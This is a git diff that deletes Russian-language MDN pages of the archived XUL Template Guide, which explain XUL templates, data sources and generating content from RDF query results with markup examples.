-<p>Не смотря на то, что атрибут uri используется лишь для одного элемента, этим элементом не обязан быть внешний элемент - прямой потомок элемента action. Вы можете "обернуть" этот элемент другим; таким образом вы получите контейнер, внутри которого и создаётся контент. Этот контейнер создаётся один раз для всех наборов данных. Таким образом для каждого результата копируется только тот элемент, который имеет атрибут uri. Изменив предыдущий пример, получим:</p>
-<pre>&lt;action&gt;
- &lt;toolbar&gt;
- &lt;button uri="?relateditem" label="?relateditem"/&gt;
- &lt;/toolbar&gt;
-&lt;/action&gt;
-</pre>
-<p>В данном случае для каждого результата будет скопирована только кнопка; панель инструментов будет создана лишь один раз. Таким образом, будет создана панель инструментов с тремя кнопками. Естественно, в таком простом примере было бы лучше поместить шаблон внутрь панели инструментов, имеющей атрибут datasource, а не наоборот.</p>
-<p>До сих пор мы использовали только переменную ?relateditem, поскольку это единственная полезная переменная. Можно использовать также переменную ?start. Посмотрим на результаты ещё раз:</p>
-<pre>(?start = http://www.xulplanet.com/rdf/A, ?relateditem = http://www.xulplanet.com/rdf/B)
-(?start = http://www.xulplanet.com/rdf/A, ?relateditem = http://www.xulplanet.com/rdf/C)
-(?start = http://www.xulplanet.com/rdf/A, ?relateditem = http://www.xulplanet.com/rdf/D)
-</pre>
-<p>Можно отобразить значение переменной ?start:</p>
-<pre>&lt;action&gt;
- &lt;hbox uri="?relateditem"&gt;
- &lt;button label="?start"/&gt;
- &lt;button label="?relateditem"/&gt;
- &lt;/hbox&gt;
-&lt;/action&gt;
-</pre>
-<p>Для первой кнопки значение переменной ?start будет вычислено в выходных данных, тогда как вторая кнопка использует значение переменной ?relateditem. Поскольку все результаты используют одно и тоже значение переменной ?start, первая кнопка в каждом ряду имеет одну и ту же надпись. Запустите этот [<a class="external" href="http://developer.mozilla.org/samples/xultemp/template-guide-ex2.xul">this пример</a>] и удостоверьтесь, что всё работает правильно.</p>
-<p><img alt="Image:template-guide-p9.png" src="/samples/xultemp/template-guide-p9.png"></p>
diff --git a/files/ru/mozilla/tech/xul/руководство_по_шаблонам_xul/index.html b/files/ru/mozilla/tech/xul/руководство_по_шаблонам_xul/index.html
deleted file mode 100644
index 706e51f872..0000000000
--- a/files/ru/mozilla/tech/xul/руководство_по_шаблонам_xul/index.html
+++ /dev/null
@@ -1,55 +0,0 @@
----
-title: Руководство по шаблонам XUL
-slug: Mozilla/Tech/XUL/Руководство_по_шаблонам_XUL
-tags:
- - XUL
- - Руководство_по_шаблонам_XUL
-translation_of: Archive/Mozilla/XUL/Template_Guide
----
-<h5 id=".D0.9E.D1.81.D0.BD.D0.BE.D0.B2.D1.8B" name=".D0.9E.D1.81.D0.BD.D0.BE.D0.B2.D1.8B"> Основы </h5>
-<ul><li> <a href="ru/%d0%a0%d1%83%d0%ba%d0%be%d0%b2%d0%be%d0%b4%d1%81%d1%82%d0%b2%d0%be_%d0%bf%d0%be_%d1%88%d0%b0%d0%b1%d0%bb%d0%be%d0%bd%d0%b0%d0%bc_XUL/%d0%92%d0%b2%d0%b5%d0%b4%d0%b5%d0%bd%d0%b8%d0%b5">Введение</a>
-</li><li> <a href="ru/%d0%a0%d1%83%d0%ba%d0%be%d0%b2%d0%be%d0%b4%d1%81%d1%82%d0%b2%d0%be_%d0%bf%d0%be_%d1%88%d0%b0%d0%b1%d0%bb%d0%be%d0%bd%d0%b0%d0%bc_XUL/%d0%9a%d0%be%d0%bc%d0%bf%d0%b8%d0%bb%d1%8f%d1%86%d0%b8%d1%8f_%d0%bf%d1%80%d0%b0%d0%b2%d0%b8%d0%bb">Компиляция правил</a>
-</li></ul>
-<h5 id=".D0.A1.D0.B8.D0.BD.D1.82.D0.B0.D0.BA.D1.81.D0.B8.D1.81_.D1.88.D0.B0.D0.B1.D0.BB.D0.BE.D0.BD.D0.BE.D0.B2_.D0.BD.D0.B0_.D0.BE.D1.81.D0.BD.D0.BE.D0.B2.D0.B5_RDF" name=".D0.A1.D0.B8.D0.BD.D1.82.D0.B0.D0.BA.D1.81.D0.B8.D1.81_.D1.88.D0.B0.D0.B1.D0.BB.D0.BE.D0.BD.D0.BE.D0.B2_.D0.BD.D0.B0_.D0.BE.D1.81.D0.BD.D0.BE.D0.B2.D0.B5_RDF"> Синтаксис шаблонов на основе RDF </h5>
-<ul><li> <a href="ru/%d0%a0%d1%83%d0%ba%d0%be%d0%b2%d0%be%d0%b4%d1%81%d1%82%d0%b2%d0%be_%d0%bf%d0%be_%d1%88%d0%b0%d0%b1%d0%bb%d0%be%d0%bd%d0%b0%d0%bc_XUL/%d0%93%d0%b5%d0%bd%d0%b5%d1%80%d0%b8%d1%80%d0%be%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5_%d1%80%d0%b5%d0%b7%d1%83%d0%bb%d1%8c%d1%82%d0%b0%d1%82%d0%be%d0%b2">Генерирование результатов</a>
-</li><li> <a href="ru/%d0%a0%d1%83%d0%ba%d0%be%d0%b2%d0%be%d0%b4%d1%81%d1%82%d0%b2%d0%be_%d0%bf%d0%be_%d1%88%d0%b0%d0%b1%d0%bb%d0%be%d0%bd%d0%b0%d0%bc_XUL/%d0%a1%d0%b8%d0%bd%d1%82%d0%b0%d0%ba%d1%81%d0%b8%d1%81_%d0%b7%d0%b0%d0%bf%d1%80%d0%be%d1%81%d0%be%d0%b2_RDF">Синтаксис запросов RDF</a>
-</li><li> <a href="ru/%d0%a0%d1%83%d0%ba%d0%be%d0%b2%d0%be%d0%b4%d1%81%d1%82%d0%b2%d0%be_%d0%bf%d0%be_%d1%88%d0%b0%d0%b1%d0%bb%d0%be%d0%bd%d0%b0%d0%bc_XUL/%d0%93%d0%b5%d0%bd%d0%b5%d1%80%d0%b8%d1%80%d0%be%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5_%d0%ba%d0%be%d0%bd%d1%82%d0%b5%d0%bd%d1%82%d0%b0">Генерирование контента</a>
-</li><li> <a href="ru/%d0%a0%d1%83%d0%ba%d0%be%d0%b2%d0%be%d0%b4%d1%81%d1%82%d0%b2%d0%be_%d0%bf%d0%be_%d1%88%d0%b0%d0%b1%d0%bb%d0%be%d0%bd%d0%b0%d0%bc_XUL/%d0%a0%d0%b5%d0%ba%d1%83%d1%80%d1%81%d0%b8%d0%b2%d0%bd%d0%be%d0%b5_%d0%b3%d0%b5%d0%bd%d0%b5%d1%80%d0%b8%d1%80%d0%be%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5">Рекурсивное генерирование</a>
-</li><li> <a href="ru/%d0%a0%d1%83%d0%ba%d0%be%d0%b2%d0%be%d0%b4%d1%81%d1%82%d0%b2%d0%be_%d0%bf%d0%be_%d1%88%d0%b0%d0%b1%d0%bb%d0%be%d0%bd%d0%b0%d0%bc_XUL/%d0%9f%d1%80%d0%be%d1%81%d1%82%d0%be%d0%b9_%d0%bf%d1%80%d0%b8%d0%bc%d0%b5%d1%80">Простой пример</a>
-</li><li> <a href="ru/%d0%a0%d1%83%d0%ba%d0%be%d0%b2%d0%be%d0%b4%d1%81%d1%82%d0%b2%d0%be_%d0%bf%d0%be_%d1%88%d0%b0%d0%b1%d0%bb%d0%be%d0%bd%d0%b0%d0%bc_XUL/%d0%9f%d1%80%d0%b8%d0%b2%d1%8f%d0%b7%d0%ba%d0%b8">Привязки</a>
-</li><li> <a href="ru/%d0%a0%d1%83%d0%ba%d0%be%d0%b2%d0%be%d0%b4%d1%81%d1%82%d0%b2%d0%be_%d0%bf%d0%be_%d1%88%d0%b0%d0%b1%d0%bb%d0%be%d0%bd%d0%b0%d0%bc_XUL/Additional_Navigation">Additional Navigation</a>
-</li><li> <a href="ru/%d0%a0%d1%83%d0%ba%d0%be%d0%b2%d0%be%d0%b4%d1%81%d1%82%d0%b2%d0%be_%d0%bf%d0%be_%d1%88%d0%b0%d0%b1%d0%bb%d0%be%d0%bd%d0%b0%d0%bc_XUL/%d0%a4%d0%b8%d0%bb%d1%8c%d1%82%d1%80%d0%b0%d1%86%d0%b8%d1%8f">Фильтрация</a>
-</li><li> <a href="ru/%d0%a0%d1%83%d0%ba%d0%be%d0%b2%d0%be%d0%b4%d1%81%d1%82%d0%b2%d0%be_%d0%bf%d0%be_%d1%88%d0%b0%d0%b1%d0%bb%d0%be%d0%bd%d0%b0%d0%bc_XUL/Static_Content">Static Content</a>
-</li><li> <a href="ru/%d0%a0%d1%83%d0%ba%d0%be%d0%b2%d0%be%d0%b4%d1%81%d1%82%d0%b2%d0%be_%d0%bf%d0%be_%d1%88%d0%b0%d0%b1%d0%bb%d0%be%d0%bd%d0%b0%d0%bc_XUL/Simple_Query_Syntax">Простой синтаксис запросов</a>
-</li><li> <a href="ru/%d0%a0%d1%83%d0%ba%d0%be%d0%b2%d0%be%d0%b4%d1%81%d1%82%d0%b2%d0%be_%d0%bf%d0%be_%d1%88%d0%b0%d0%b1%d0%bb%d0%be%d0%bd%d0%b0%d0%bc_XUL/Containment_Properties">Containment Properties</a>
-</li></ul>
-<h5 id=".D0.A1.D0.B8.D0.BD.D1.82.D0.B0.D0.BA.D1.81.D0.B8.D1.81_.D1.88.D0.B0.D0.B1.D0.BB.D0.BE.D0.BD.D0.BE.D0.B2_.D0.BD.D0.B0_.D0.BE.D1.81.D0.BD.D0.BE.D0.B2.D0.B5_XML" name=".D0.A1.D0.B8.D0.BD.D1.82.D0.B0.D0.BA.D1.81.D0.B8.D1.81_.D1.88.D0.B0.D0.B1.D0.BB.D0.BE.D0.BD.D0.BE.D0.B2_.D0.BD.D0.B0_.D0.BE.D1.81.D0.BD.D0.BE.D0.B2.D0.B5_XML"> Синтаксис шаблонов на основе XML </h5>
-<ul><li> <a href="ru/%d0%a0%d1%83%d0%ba%d0%be%d0%b2%d0%be%d0%b4%d1%81%d1%82%d0%b2%d0%be_%d0%bf%d0%be_%d1%88%d0%b0%d0%b1%d0%bb%d0%be%d0%bd%d0%b0%d0%bc_XUL/%d0%a8%d0%b0%d0%b1%d0%bb%d0%be%d0%bd%d1%8b_%d0%bd%d0%b0_%d0%be%d1%81%d0%bd%d0%be%d0%b2%d0%b5_XML">Шаблоны на основе XML</a>
-</li><li> <a href="ru/%d0%a0%d1%83%d0%ba%d0%be%d0%b2%d0%be%d0%b4%d1%81%d1%82%d0%b2%d0%be_%d0%bf%d0%be_%d1%88%d0%b0%d0%b1%d0%bb%d0%be%d0%bd%d0%b0%d0%bc_XUL/XML_Assignments">XML Assignments</a>
-</li></ul>
-<h5 id=".D0.A1.D0.B8.D0.BD.D1.82.D0.B0.D0.BA.D1.81.D0.B8.D1.81_.D1.88.D0.B0.D0.B1.D0.BB.D0.BE.D0.BD.D0.BE.D0.B2_.D0.BD.D0.B0_.D0.BE.D1.81.D0.BD.D0.BE.D0.B2.D0.B5_SQL" name=".D0.A1.D0.B8.D0.BD.D1.82.D0.B0.D0.BA.D1.81.D0.B8.D1.81_.D1.88.D0.B0.D0.B1.D0.BB.D0.BE.D0.BD.D0.BE.D0.B2_.D0.BD.D0.B0_.D0.BE.D1.81.D0.BD.D0.BE.D0.B2.D0.B5_SQL"> Синтаксис шаблонов на основе SQL </h5>
-<ul><li> <a href="ru/%d0%a0%d1%83%d0%ba%d0%be%d0%b2%d0%be%d0%b4%d1%81%d1%82%d0%b2%d0%be_%d0%bf%d0%be_%d1%88%d0%b0%d0%b1%d0%bb%d0%be%d0%bd%d0%b0%d0%bc_XUL/%d0%a8%d0%b0%d0%b1%d0%bb%d0%be%d0%bd%d1%8b_%d0%bd%d0%b0_%d0%be%d1%81%d0%bd%d0%be%d0%b2%d0%b5_SQLite">Шаблоны на основе SQLite</a>
-</li></ul>
-<h5 id=".D0.9E.D0.B1.D1.89.D0.B8.D0.B9_.D1.81.D0.B8.D0.BD.D1.82.D0.B0.D0.BA.D1.81.D0.B8.D1.81_.D1.88.D0.B0.D0.B1.D0.BB.D0.BE.D0.BD.D0.BE.D0.B2" name=".D0.9E.D0.B1.D1.89.D0.B8.D0.B9_.D1.81.D0.B8.D0.BD.D1.82.D0.B0.D0.BA.D1.81.D0.B8.D1.81_.D1.88.D0.B0.D0.B1.D0.BB.D0.BE.D0.BD.D0.BE.D0.B2"> Общий синтаксис шаблонов </h5>
-<ul><li> <a href="ru/%d0%a0%d1%83%d0%ba%d0%be%d0%b2%d0%be%d0%b4%d1%81%d1%82%d0%b2%d0%be_%d0%bf%d0%be_%d1%88%d0%b0%d0%b1%d0%bb%d0%be%d0%bd%d0%b0%d0%bc_XUL/Attribute_Substitution">Attribute Substitution</a>
-</li><li> <a href="ru/%d0%a0%d1%83%d0%ba%d0%be%d0%b2%d0%be%d0%b4%d1%81%d1%82%d0%b2%d0%be_%d0%bf%d0%be_%d1%88%d0%b0%d0%b1%d0%bb%d0%be%d0%bd%d0%b0%d0%bc_XUL/Multiple_Rules">Multiple Rules</a>
-</li><li> <a href="ru/%d0%a0%d1%83%d0%ba%d0%be%d0%b2%d0%be%d0%b4%d1%81%d1%82%d0%b2%d0%be_%d0%bf%d0%be_%d1%88%d0%b0%d0%b1%d0%bb%d0%be%d0%bd%d0%b0%d0%bc_XUL/Multiple_Rule_Example">Multiple Rule Example</a>
-</li><li> <a href="ru/%d0%a0%d1%83%d0%ba%d0%be%d0%b2%d0%be%d0%b4%d1%81%d1%82%d0%b2%d0%be_%d0%bf%d0%be_%d1%88%d0%b0%d0%b1%d0%bb%d0%be%d0%bd%d0%b0%d0%bc_XUL/Using_Recursive_Templates">Using Recursive Templates</a>
-</li><li> <a href="ru/%d0%a0%d1%83%d0%ba%d0%be%d0%b2%d0%be%d0%b4%d1%81%d1%82%d0%b2%d0%be_%d0%bf%d0%be_%d1%88%d0%b0%d0%b1%d0%bb%d0%be%d0%bd%d0%b0%d0%bc_XUL/Special_Condition_Tests">Special Condition Tests</a>
-</li><li> <a href="ru/%d0%a0%d1%83%d0%ba%d0%be%d0%b2%d0%be%d0%b4%d1%81%d1%82%d0%b2%d0%be_%d0%bf%d0%be_%d1%88%d0%b0%d0%b1%d0%bb%d0%be%d0%bd%d0%b0%d0%bc_XUL/Using_Multiple_Rules_to_Generate_More_Results">Using Multiple Rules to Generate More Results</a>
-</li></ul>
-<h5 id=".D0.A1.D0.BE.D0.B7.D0.B4.D0.B0.D0.BD.D0.B8.D0.B5_.D0.B4.D0.B5.D1.80.D0.B5.D0.B2.D1.8C.D0.B5.D0.B2_.D1.81_.D0.B8.D1.81.D0.BF.D0.BE.D0.BB.D1.8C.D0.B7.D0.BE.D0.B2.D0.B0.D0.BD.D0.B8.D0.B5.D0.BC_.D1.88.D0.B0.D0.B1.D0.BB.D0.BE.D0.BD.D0.BE.D0.B2" name=".D0.A1.D0.BE.D0.B7.D0.B4.D0.B0.D0.BD.D0.B8.D0.B5_.D0.B4.D0.B5.D1.80.D0.B5.D0.B2.D1.8C.D0.B5.D0.B2_.D1.81_.D0.B8.D1.81.D0.BF.D0.BE.D0.BB.D1.8C.D0.B7.D0.BE.D0.B2.D0.B0.D0.BD.D0.B8.D0.B5.D0.BC_.D1.88.D0.B0.D0.B1.D0.BB.D0.BE.D0.BD.D0.BE.D0.B2"> Создание деревьев с использованием шаблонов </h5>
-<ul><li> <a href="ru/%d0%a0%d1%83%d0%ba%d0%be%d0%b2%d0%be%d0%b4%d1%81%d1%82%d0%b2%d0%be_%d0%bf%d0%be_%d1%88%d0%b0%d0%b1%d0%bb%d0%be%d0%bd%d0%b0%d0%bc_XUL/%d0%a1%d0%be%d0%b7%d0%b4%d0%b0%d0%bd%d0%b8%d0%b5_%d0%b4%d0%b5%d1%80%d0%b5%d0%b2%d1%8c%d0%b5%d0%b2">Создание деревьев</a>
-</li><li> <a href="ru/%d0%a0%d1%83%d0%ba%d0%be%d0%b2%d0%be%d0%b4%d1%81%d1%82%d0%b2%d0%be_%d0%bf%d0%be_%d1%88%d0%b0%d0%b1%d0%bb%d0%be%d0%bd%d0%b0%d0%bc_XUL/%d0%a1%d0%be%d0%b7%d0%b4%d0%b0%d0%bd%d0%b8%d0%b5_%d0%b8%d0%b5%d1%80%d0%b0%d1%80%d1%85%d0%b8%d1%87%d0%b5%d1%81%d0%ba%d0%b8%d1%85_%d0%b4%d0%b5%d1%80%d0%b5%d0%b2%d1%8c%d0%b5%d0%b2">Создание иерархических деревьев</a>
-</li></ul>
-<h5 id=".D0.9C.D0.BE.D0.B4.D0.B8.D1.84.D0.B8.D0.BA.D0.B0.D1.86.D0.B8.D1.8F_.D1.88.D0.B0.D0.B1.D0.BB.D0.BE.D0.BD.D0.B0" name=".D0.9C.D0.BE.D0.B4.D0.B8.D1.84.D0.B8.D0.BA.D0.B0.D1.86.D0.B8.D1.8F_.D1.88.D0.B0.D0.B1.D0.BB.D0.BE.D0.BD.D0.B0"> Модификация шаблона </h5>
-<ul><li> <a href="ru/%d0%a0%d1%83%d0%ba%d0%be%d0%b2%d0%be%d0%b4%d1%81%d1%82%d0%b2%d0%be_%d0%bf%d0%be_%d1%88%d0%b0%d0%b1%d0%bb%d0%be%d0%bd%d0%b0%d0%bc_XUL/Template_Builder_Interface">Template Builder Interface</a>
-</li><li> <a href="ru/%d0%a0%d1%83%d0%ba%d0%be%d0%b2%d0%be%d0%b4%d1%81%d1%82%d0%b2%d0%be_%d0%bf%d0%be_%d1%88%d0%b0%d0%b1%d0%bb%d0%be%d0%bd%d0%b0%d0%bc_XUL/Template_and_Tree_Listeners">Template and Tree Listeners</a>
-</li><li> <a href="ru/%d0%a0%d1%83%d0%ba%d0%be%d0%b2%d0%be%d0%b4%d1%81%d1%82%d0%b2%d0%be_%d0%bf%d0%be_%d1%88%d0%b0%d0%b1%d0%bb%d0%be%d0%bd%d0%b0%d0%bc_XUL/RDF_Modifications">RDF Modifications</a>
-</li></ul>
-<h5 id=".D0.94.D0.BE.D0.BF.D0.BE.D0.BB.D0.BD.D0.B8.D1.82.D0.B5.D0.BB.D1.8C.D0.BD.D1.8B.D0.B5_.D1.82.D0.B5.D0.BC.D1.8B" name=".D0.94.D0.BE.D0.BF.D0.BE.D0.BB.D0.BD.D0.B8.D1.82.D0.B5.D0.BB.D1.8C.D0.BD.D1.8B.D0.B5_.D1.82.D0.B5.D0.BC.D1.8B"> Дополнительные темы </h5>
-<ul><li> <a href="ru/%d0%a0%d1%83%d0%ba%d0%be%d0%b2%d0%be%d0%b4%d1%81%d1%82%d0%b2%d0%be_%d0%bf%d0%be_%d1%88%d0%b0%d0%b1%d0%bb%d0%be%d0%bd%d0%b0%d0%bc_XUL/%d0%a1%d0%be%d1%80%d1%82%d0%b8%d1%80%d0%be%d0%b2%d0%ba%d0%b0_%d1%80%d0%b5%d0%b7%d1%83%d0%bb%d1%8c%d1%82%d0%b0%d1%82%d0%be%d0%b2">Сортировка результатов</a>
-</li><li> <a href="ru/%d0%a0%d1%83%d0%ba%d0%be%d0%b2%d0%be%d0%b4%d1%81%d1%82%d0%b2%d0%be_%d0%bf%d0%be_%d1%88%d0%b0%d0%b1%d0%bb%d0%be%d0%bd%d0%b0%d0%bc_XUL/%d0%94%d0%be%d0%bf%d0%be%d0%bb%d0%bd%d0%b8%d1%82%d0%b5%d0%bb%d1%8c%d0%bd%d1%8b%d0%b5_%d0%b0%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82%d1%8b_%d1%88%d0%b0%d0%b1%d0%bb%d0%be%d0%bd%d0%be%d0%b2">Дополнительные атрибуты шаблонов</a>
-</li></ul>
-<p><span class="comment">Interwiki Language Links</span>
-</p>
diff --git a/files/ru/mozilla/tech/xul/руководство_по_шаблонам_xul/введение/index.html b/files/ru/mozilla/tech/xul/руководство_по_шаблонам_xul/введение/index.html
deleted file mode 100644
index 227967a263..0000000000
--- a/files/ru/mozilla/tech/xul/руководство_по_шаблонам_xul/введение/index.html
+++ /dev/null
@@ -1,34 +0,0 @@
----
-title: Введение
-slug: Mozilla/Tech/XUL/Руководство_по_шаблонам_XUL/Введение
-tags:
- - Руководство_по_шаблонам_XUL
-translation_of: Archive/Mozilla/XUL/Template_Guide/Introduction
----
-<p>Шаблоны XUL используются для автоматического создания контента на основе результатов запроса. Хороший пример - выполнение запроса к базе данных: для каждого набора данных, полученных запросом, создаётся некоторый контент. Синтаксис шаблонов позволяет как создавать новый контент, так и изменять значения атрибутов, используя правила с параметрами. Иногда это называют привязкой данных (databinding). Таким образом, шаблоны XUL используются для эффективной реализации привязки данных.
-</p><p>Каждый шаблон получает необходимые данные из соответствующего источника. По-умолчанию поддерживается несколько типов источников данных: RDF, XML и базы данных Sqlite. Тем не менее, для поддержки других типов источников данных могут быть написаны соответствующие процессоры. При использовании технологии XUL источник данных определяется атрибутом <code id="a-datasources"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/datasources">datasources</a></code>. Как правило, его значением является URI, указывающий на местонахождение данных. Например, для источника данных XML определяется соответствующий URL. Когда анализатор XUL находит элемент с этим атрибутом, он создаёт конструктор шаблона и связывает его с этим элементом. Предполагается также, что внутри этого элемента находится шаблон. Конструктор шаблона загружает источник данных, выполняет требуемый запрос и на основании полученных результатов генерирует соответсвующий контент. Тип источника данных определяется с помощью шаблона <code id="a-querytype"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/querytype">querytype</a></code>. Тип определяет не только способ использования источника данных, но и синтаксис запросов.
-</p><p>Сгенерированный шаблоном контент дополняет дерево документа XUL так же, как если бы вы сделали это собственноручно. Например:
-</p>
-<pre>&lt;vbox datasources="http://www.xulplanet.com/ds/sample.rdf" querytype="rdf"&gt;
-</pre>
-<p>В этом примере источник данных определён файлом '<span class="nowiki">http://www.xulplanet.com/ds/sample.rdf</span>'; тип источника данных - <code>rdf</code>, это определено атрибутом <code>querytype</code>.
-</p><p>Для начала давайте посмотрим, как обрабатывается источник данных RDF. Для его загрузки конструктор шаблона использует сервис RDF - тот же самый, который вы можете использовать напрямую. Для определения местонахождения ресурса используется URL. Тем не менее, некоторые источники данных RDF предоставляет платформа Mozilla, и их URL предваряются символами 'rdf:'. Если же это не используется, то источник данных загружается также, как и любой другой файл - по его URL. Если источник данных уже загружен и кеширован, конструктор шаблонов может сразу же начинать работу. В противном случае, ничего не происходит до тех пор, пока данные не загружены, хотя на самом деле это не совсем так. Сервис RDF начинает загрузку данных в фоновом режиме и в это же время начинает работать конструктор шаблонов. Естественно, доколе данные не поступили, ничего не будет отображено и конструктор приостанавливает работу. </p><p>Когда данные начинают поступать, конструктор определяет, достаточно ли информации для их обработки. Если это так, генерируется какой-то контент. В противном случае результата опять-таки нет. Интересно, что в силу природы процесса анализа RDF-данных, конструктор обрабатывает данные и выдаёт результат инкрементно, т.е. порциями - одновременно с поступлением данных (это особенно важно, например, для геоинформационных систем, работающих в режиме реального времени и оперирующих с огромными массивами данных). Конечно, поскольку данные поступают из сети достаточно быстро, вы, скорее всего, не заметите этого процесса, но это не умаляет его важности. Если же данные уже загружены, то конструктор обрабатывает их целиком, за один раз, хотя, как мы увидим позже, даже это не совсем так.
-</p><p>Используя источники данных XML, атрибут querytype должен иметь значение <code>xml</code>. Атрибут <code>datasources</code> должен содержать URL файла XML, который указывает либо на файл на web-сайте, либо на локальный файл, либо на файл chrome. Этот файл будет загружен при обработке шаблона, используя данные в XML файле. Например:
-</p>
-<pre>&lt;listbox datasources="http://www.xulplanet.com/ds/sample.xml" querytype="xml"&gt;
- &lt;template&gt;
- &lt;listitem label="?name"/&gt;
- &lt;/template&gt;
-&lt;listbox&gt;
-</pre>
-<p>Этот шаблон использует данные XML для создания списка элементов(<code><a href="/ru/docs/Mozilla/Tech/XUL/listbox" title="listbox">listbox</a></code>). Не смотря на то, что мы рассмотрим особенности процесса позже, уже сейчас можно сказать, что для каждого дочернего узла дерева данных XML будет создан элемент списка (<code><a href="/ru/docs/Mozilla/Tech/XUL/listitem" title="listitem">listitem</a></code>), атрибут label которого будет соответствовать имени узла в древе XML.
-</p><p>Для источников данных на основе базы данных Sqlite, атрибут <code>datasources</code> определяет URI файла. Поскольку в этом случае поддерживаются только локальные файлы, используется URL файла.
-</p><p>Конструктор шаблонов может также использовать несколько источников данных, объединяя их в единое целое - так, если бы это был один источник данных, если это возможно. Этот механизм поддерживает только встроенный RDF; источники данных на основе XML или Sqlite не поддерживают такой возможности. При использовании нескольких источников данных для управления ими создаётся объект с интерфейсом nsIRDFCompositeDataSource. Вы можете получить доступ к нему из скрипта, используя свойство 'database'. Таким образом, вы можете добавлять или исключать источники данных на лету.
-</p><p>При использовании нескольких источников данных RDF они объединяются в единое целое так, если бы это был один большой источник. Это значит, что запрос в шаблоне может получить данные из любого источника, находящегося в этом объединении. Это в самом деле может быть полезным свойством и работает одинаковым образом независимо от источника данных. Например, вы можете использовать встроенный источник, хранящий информацию о пользовательских закладках в браузере и использовать собственный источник данных для добавления дополнительной информации об этих закладках.
-</p>
-<pre>&lt;vbox datasources="rdf:bookmarks http://www.xulplanet.com/ds/sample.rdf"&gt;
-</pre>
-<p>Кроме того, при использовании RDF для chrome XUL (таких как расширения), источник данных rdf:local-store всегда включается в смесь источников. Локальное хранилище (local-store) - это источник данных, хранящий различную информацию о состоянии элементов пользовательского интерфейса, таких как размеры окон, список выбранных колонок и раскрытых элементах дерева. Хотя это и редко используется, вы можете запросить любые данные из локального хранилища для использования в шаблоне.
-</p><p>Иногда вам будет необходимо указать, что источник данных будет определён позже, возможно с помощью скрипта. В этом случае используется специальная форма URI, содержащая префикс rdf:null, обозначающая, что используется пустой источник данных или то, что он будет определён позже. Эта запись также работает и с источниками данных, отличными от RDF, поэтому не стесняйтесь при необходимости использовать её. Это удобная форма указать на то, что для шаблона ещё не определён источник данных, и поэтому нет никаких результатов.
-</p><p><span class="comment">Interwiki Language Links</span>
-</p>
diff --git a/files/ru/mozilla/tech/xul/руководство_по_шаблонам_xul/генерирование_результатов/index.html b/files/ru/mozilla/tech/xul/руководство_по_шаблонам_xul/генерирование_результатов/index.html
deleted file mode 100644
index a34c573b4f..0000000000
--- a/files/ru/mozilla/tech/xul/руководство_по_шаблонам_xul/генерирование_результатов/index.html
+++ /dev/null
@@ -1,65 +0,0 @@
----
-title: Генерирование результатов
-slug: Mozilla/Tech/XUL/Руководство_по_шаблонам_XUL/Генерирование_результатов
-tags:
- - Руководство_по_шаблонам_XUL
-translation_of: Archive/Mozilla/XUL/Template_Guide/Result_Generation
----
-<h3 id="RDF" name="RDF"> RDF </h3>
-<p>В этом разделе мы рассмотрим, как генерировать контент с помощью шаблонов XUL, используя источник данных RDF. Но вначале нужно познакомиться с основополагающими принципами и идеями.
-</p><p>Используя математическое определение, можно сказать, что RDF - это размеченный направленный граф. Иными словами, RDF можно представить в виде графа; граф состоит из узлов и соединён стрелками; все стрелки и узлы имеют метки. Поскольку это граф, стрелки могут указывать на какой-угодно узел, а узлы могут иметь любое количество дуг, входящих или выходящих из него. Также, поскольку это граф, не существует начального (корневого) узла, поэтому вы, в принципе, можете начать с любого из них. На следующем графике видно, что из узла A, находящегося в верхней части рисунка, выходят дуги в узлы B, C и D. Из узла C выходит дуга в узел D. Поскольку стрелки могут указывать на любой узел, дуга из узла D может входит в узел A. Для обхода всех вершин дерева можно начать с узла A и, следуя по дугам, перейти к вершинам B, C и D. Вместе с тем, можно начать с узла B, от него перейти к A, а после - к C и D. Нет никаких ограничений на то, каким образом вы будете переходить по дугам: в том направлении, в которым они указывают, или в обратном. Данный график был создан программой <a class="external" href="http://www.w3.org/RDF/Validator/">RDF validator</a>, разработанной W3C; если вы хотите проверить корректность RDF-файла, воспользуйтесь этим сервисом.
-</p><p><img alt="Image:Template-guide-p2.png">
-</p><p>Красным цветом выделены метки стрелок, называемые предикатами (predicates). В данном примере все стрелки имеют метки; однако так бывает далеко не всегда. Шаблоны же предоставляют способ обхода только тех дуг, которые имеют определённые метки.
-Ниже представлен пример возможной сериализация данного графа RDF в формате XML, хотя возможны и другие варианты.
-</p>
-<pre>&lt;?xml version="1.0"?&gt;
-&lt;rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
- xmlns:rel="http://www.xulplanet.com/rdf/"&gt;
-
- &lt;rdf:Description rdf:about="http://www.xulplanet.com/rdf/A"&gt;
- &lt;rel:relatedItem rdf:resource="http://www.xulplanet.com/rdf/B"/&gt;
- &lt;rel:relatedItem rdf:resource="http://www.xulplanet.com/rdf/C"/&gt;
- &lt;rel:relatedItem rdf:resource="http://www.xulplanet.com/rdf/D"/&gt;
- &lt;/rdf:Description&gt;
-
- &lt;rdf:Description rdf:about="http://www.xulplanet.com/rdf/C"&gt;
- &lt;rel:relatedItem rdf:resource="http://www.xulplanet.com/rdf/D"/&gt;
- &lt;/rdf:Description&gt;
-
-&lt;/rdf:RDF&gt;
-</pre>
-<p>Для запроса в шаблоне XUL прежде всего нужно выбрать начальный узел графа. После этого для определения дальнейшего пути обхода используется множество условий. В конечном счёте, будет получен набор узлов, называемых конечными точками. Они и являются результатами выполнения запроса; именно их использует конструктор для генерирования контента. Допустим, вы начинаете с узла A. От него вы можете перейти к вершинам B, C и D и создать, таким образом, три элемента XUL. Или же вы можете начать с узла D и возвратиться по дугам к исходным вершинам. В данном случае получим всего один результат - вершину A. Убедитесь, что в этом случае получаем лишь один результат.
-</p><p>Используя терминологию шаблонов XUL, назовём начальную вершину контейнером (container) или исходной точкой, а конечную вершину назовём элементом или членом (member). Такие названия используются потому, что в наиболее общем случае удобно говорить о списке элементов или дочерних узлов, собранных в контейнере. Тем не менее, выбор контейнера или его элементов зависит от вас; любой узел может выступать в этом качестве.
